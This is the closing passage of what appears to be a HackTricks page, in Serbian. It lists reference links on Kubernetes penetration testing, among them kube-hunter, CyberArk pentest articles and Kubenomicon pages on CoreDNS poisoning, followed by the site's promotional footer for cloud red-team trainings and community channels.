GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters
Reference
- https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions
- https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1
- https://blog.rewanthtammana.com/creating-malicious-admission-controllers
- https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html
- https://kubenomicon.com/
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.